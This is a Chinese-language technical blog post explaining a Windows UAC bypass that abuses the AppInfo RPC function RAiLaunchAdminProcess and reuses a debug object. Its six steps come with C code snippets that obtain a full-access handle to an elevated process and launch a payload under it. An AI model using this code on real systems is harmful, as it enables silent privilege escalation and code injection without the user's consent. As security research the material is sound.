利用本地RPC接口的UAC Bypass

2022-04-12 14:53:19 浏览数 (1)

AppInfo是一个本地RPC服务,其接口ID为201ef99a-7fa0-444c-9399-19ba84f12a1a,AppInfo 是 UAC 提升的关键。ShellExecuteEx()通过 RPC 调用将所有提升请求转发到 AppInfo NT 服务。AppInfo 在系统上下文中调用一个名为“approve.exe”的可执行文件,这是启动用户同意的对话框的可执行文件.

当对话框处于活动状态时,我们看到的不是会话1的WinSta0Default。而是会话0上的桌面。被称为“安全桌面”,在1中我们描述了这个部分。AppInfo然后从“安全桌面”中获取结果。并确定是否需要启动新进程(即接受了提升请求)。AppInfo然后使用完整的管理令牌创建一个进程,那么会话1桌面上登录用户的完整性级别为高。

要以当前用户的身份在不同会话的不同桌面上创建进程,需要七个阶段:

代码语言:javascript复制
AppInfo前往并与本地安全机构对话,以获取会话1的登录用户的提升令牌。
AppInfo加载一个STARTUPINFOEX结构(Vista新增),并调用全新的Vista API InitializeProcThreadAttributeList(),其中包含一个属性的空间。
调用OpenProcess()以获取启动RPC调用的进程的句柄。
UpdateProcThreadAttribute()由PROC_THREAD_ATTRIBUTE_PARENT_进程调用,并使用在步骤3中检索到的句柄。
调用CreateProcessAsUser()时,将显示扩展的_STARTUPINFO_以及步骤1和4的结果。
调用DeleteProcThreadAttributeList()。
收集结果,清理句柄。

一旦AppInfo成功启动进程,它就会通过RPC接口将一些信息传输回调用ShellExecuteEx()的应用程序。ShellExecuteEx()会绕一段时间,然后自我清理,最终返回整个函数调用,关闭线程,然后返回给调用方。

UAC的具体实现依赖于APPINFO服务对外提供的一个RPC服务端,通过ShellExecute API达到对用户透明的效果。根据大佬对其进行分析我们可以知道:

代码语言:javascript复制
mov edi, [ebp VarStartupInfo]
mov eax, [edi _STARTUPINFOW.lpTitle]
mov [ebp VarStartupInfo_Title], eax
mov eax, [edi _STARTUPINFOW.dwX]
mov [ebp VarStartupInfo_X], eax
mov eax, [edi _STARTUPINFOW.dwY]
mov [ebp VarStartupInfo_Y], eax
mov eax, [edi _STARTUPINFOW.dwXSize]
mov [ebp VarStartupInfo_XSize], eax
mov eax, [edi _STARTUPINFOW.dwYSize]
mov [ebp VarStartupInfo_YSize], eax
mov eax, [edi _STARTUPINFOW.dwXCountChars]
mov [ebp VarStartupInfo_XCountChars], eax
mov eax, [edi _STARTUPINFOW.dwYCountChars]
mov [ebp VarStartupInfo_YCountChars], eax
mov eax, [edi _STARTUPINFOW.dwFillAttribute]
mov [ebp VarStartupInfo_FillAttr], eax
mov eax, [edi _STARTUPINFOW.dwFlags]
mov [ebp VarStartupInfo_Flags], eax
mov cx, [edi _STARTUPINFOW.wShowWindow]
mov [ebp VarStartupInfo_ShowWindow], cx
...
push eax
push ebx
push 0FFFFFFFFh
push [ebp hwnd]
lea eax, [ebp VarStartupInfo_Title]
push eax
push [ebp hMemToWinSta0_Desktop]
push [ebp VarExpandedCurrDir]
push [ebp ArgCreationFlags]
push [ebp arg_8] ; Probably bInheritHandles
push [ebp VarExpandedCommandLine]
push [ebp VarExpandedApplicationName]
push StaticBindingHandle
lea eax, [ebp pAsync]
push eax
call _RAiLaunchAdminProcess@52

该RPC服务中的RAiLaunchAdminProcess函数用于在权限不一致需要向上提权时进行UAC路由分发,具有以高权限启动进程的功能。当被启动的程序属于系统目录中的白名单进程时可避免弹窗以管理员权限启动。

RAiLaunchAdminProcess 的函数定义如下:

代码语言:javascript复制
struct APP_PROCESS_INFORMATION {
unsigned __int3264 ProcessHandle;
unsigned __int3264 ThreadHandle;
long ProcessId;
long ThreadId;
};


long RAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t* ExecutablePath,
[in][unique][string] wchar_t* CommandLine,
[in] long StartFlags,
[in] long CreateFlags,
[in][string] wchar_t* CurrentDirectory,
[in][string] wchar_t* WindowStation,
[in] struct APP_STARTUP_INFO* StartupInfo,
[in] unsigned __int3264 hWnd,
[in] long Timeout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation,
[out] long *ElevationType
);

该函数的大部分参数与CreateProcessAsUser API类似,服务会使用CreateProcessAsUser来创建新的UAC进程。

我们需要注意的为:CreateFlags 。此标志参数直接映射到CreateProcessAsUser的dwCreateFlags参数。除了验证调用者传递CREATE_UNICODE_ENVIRONMENT 之外,所有其他标志都按原样传递给 API。也就是说如果CreateFlags设置为DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS 会自动启用对新 UAC 进程的调试,如果我们可以在提升的 UAC 进程上启用调试并获得其调试对象的句柄,我们可以请求第一个调试事件,该事件将返回对该进程的完全访问句柄。

但是访问进程的调试对象句柄需要对进程句柄具有PROCESS_QUERY_INFORMATION访问权限。

由于安全限制,我们只能获得对APP_PROCESS_INFORMATION::ProcessHandle结构字段中返回的提升进程句柄的PROCESS_QUERY_LIMITED_INFORMATION访问权限。这意味着我们不能只创建一个提升的进程并打开调试对象。

绕过方法为如果进程没有被提升,我们将有足够的访问权限来打开进程调试对象的句柄,该对象可以与后续提升的进程共享。我们知道StartFlags则是该接口独有的参数,可以控制新进程的权限,设置为1时会尝试提升进程权限,设置为0时则不会。那么我们可以设置为0;

使用利用流程为:

1.通过RAiLaunchAdminProcess创建一个新的非提升进程,其中StartFlags设置为 0 并且DEBUG_PROCESS创建标志集。这将在服务器中初始化 RPC 线程的 TEB 中的调试对象字段,并将其分配给新进程。

2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。

3.分离调试器并终止不再需要的新进程。

4.通过RAiLaunchAdminProcess创建一个新的提升进程,并将StartFlags设置为 1 并设置DEBUG_PROCESS创建标志。由于 TEB 中的调试对象字段已初始化,因此在步骤 2 中捕获的现有对象将分配给新进程。

5.检索将返回完整访问进程句柄的初始调试事件。

6.使用新的进程句柄代码可以注入提升的进程完成 UAC 绕过。

详细利用思路如下

1.将RAiLaunchAdminProcess 的startFlags设置为0,同时设置CreateFlags为CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,此时会创建一个未提权的新进程,并且调试对象会初始化并分配给新进程,

这里的进程表示为:c:windowssystem32winver.exe

代码语言:javascript复制
lstrcpyW(szProcess, L"C:\Windows\System32\winver.exe");


if (!AicLaunchAdminProcess(szProcess,
szProcess,
0,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\Windows\System32",
(LPWSTR)L"WinSta0\Default",
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

2.使用NtQueryInformationProcess,该函数会检索进程的信息,用该函数获取到该进程的句柄,并启动调试对象的句柄。

代码语言:javascript复制
// Capture debug object handle.
//获取调试对象句柄。
//
status = NtQueryInformationProcess(
procInfo.hProcess,
ProcessDebugObjectHandle,
&dbgHandle,
sizeof(HANDLE),
NULL);


if (!NT_SUCCESS(status)) {
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
return STATUS_UNSUCCESSFUL;
}

3.将该进程终止,分离调试器。目的是为了下一步能够将现有的调试对象分配给下一步创建的新进程。

代码语言:javascript复制
// Detach debug and kill non elevated victim process.
//分离调试并杀死非提升的进程。
//
((void(NTAPI*)(HANDLE, HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "NtRemoveProcessDebug"))(procInfo.hProcess, dbgHandle);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);

4.再次使用RAiLaunchAdminProcess 函数,这次使用时,startFlags设置为1,CreateFlags配置同上,此时会创建一个提权的新进程(由于是白名单程序所以不会弹窗)。

由于调试对象在步骤1中已经初始化,所以会将在步骤2中现有的对象分配给新进程。

代码语言:javascript复制
lstrcpyW(szProcess, L"C:\Windows\System32\computerdefaults.exe");
RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent));


if (!AicLaunchAdminProcess(szProcess,
szProcess,
1,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\Windows\System32",
(LPWSTR)(L"WinSta0\Default"),
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

5.检索将返回完整访问权限的进程句柄的初始调试事件。

代码语言:javascript复制
// Update thread TEB with debug object handle to receive debug events.
//使用调试对象句柄更新线程TEB以接收调试事件。
//
((void(NTAPI*)(HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "DbgUiSetThreadDebugObject"))(dbgHandle);
dbgProcessHandle = NULL;


//
// Debugger wait cycle.
//调试器等待周期。
//
while (1) {


if (!WaitForDebugEvent(&dbgEvent, INFINITE)) break;


switch (dbgEvent.dwDebugEventCode) {
case CREATE_PROCESS_DEBUG_EVENT:
dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;
break;
}


if (dbgProcessHandle) break;
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}


if (dbgProcessHandle == NULL) return false;

6.利用父进程欺骗的手段以高权限执行指定的程序。,也可以使用该进程句柄做代码注入,注入到提升的进程中,则可完成UAC绕过。

代码语言:javascript复制
// Create new handle from captured with PROCESS_ALL_ACCESS.
//使用PROCESS_ALL_ACCESS从捕获的文件创建新句柄。
//
dupHandle = NULL;
status = NtDuplicateObject(dbgProcessHandle,
NtCurrentProcess(),
NtCurrentProcess(),
&dupHandle,
PROCESS_ALL_ACCESS,
0,
0);


if (NT_SUCCESS(status)) {
//
// Run new process with parent set to duplicated process handle.
//在父进程设置为重复进程句柄的情况下运行新进程。
//
ucmxCreateProcessFromParent(dupHandle, lpszPayload);
NtClose(dupHandle);
}

参考:

Vista UAC:权威指南

https://www.codeproject.com/Articles/19165/Vista-UAC-The-Definitive-Guide

攻击技术研判|载荷隐匿与在野权限提升新手法分析

https://mp.weixin.qq.com/s/Hj38WoaH_MznVCUHIAmeaw

Google 零项目团队

https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

UACMe

https://github.com/hfiref0x/UACME

UACBypassJF_RpcALPC

https://github.com/aaaddress1/PR0CESS/tree/main/UACBypassJF_RpcALPC

0 人点赞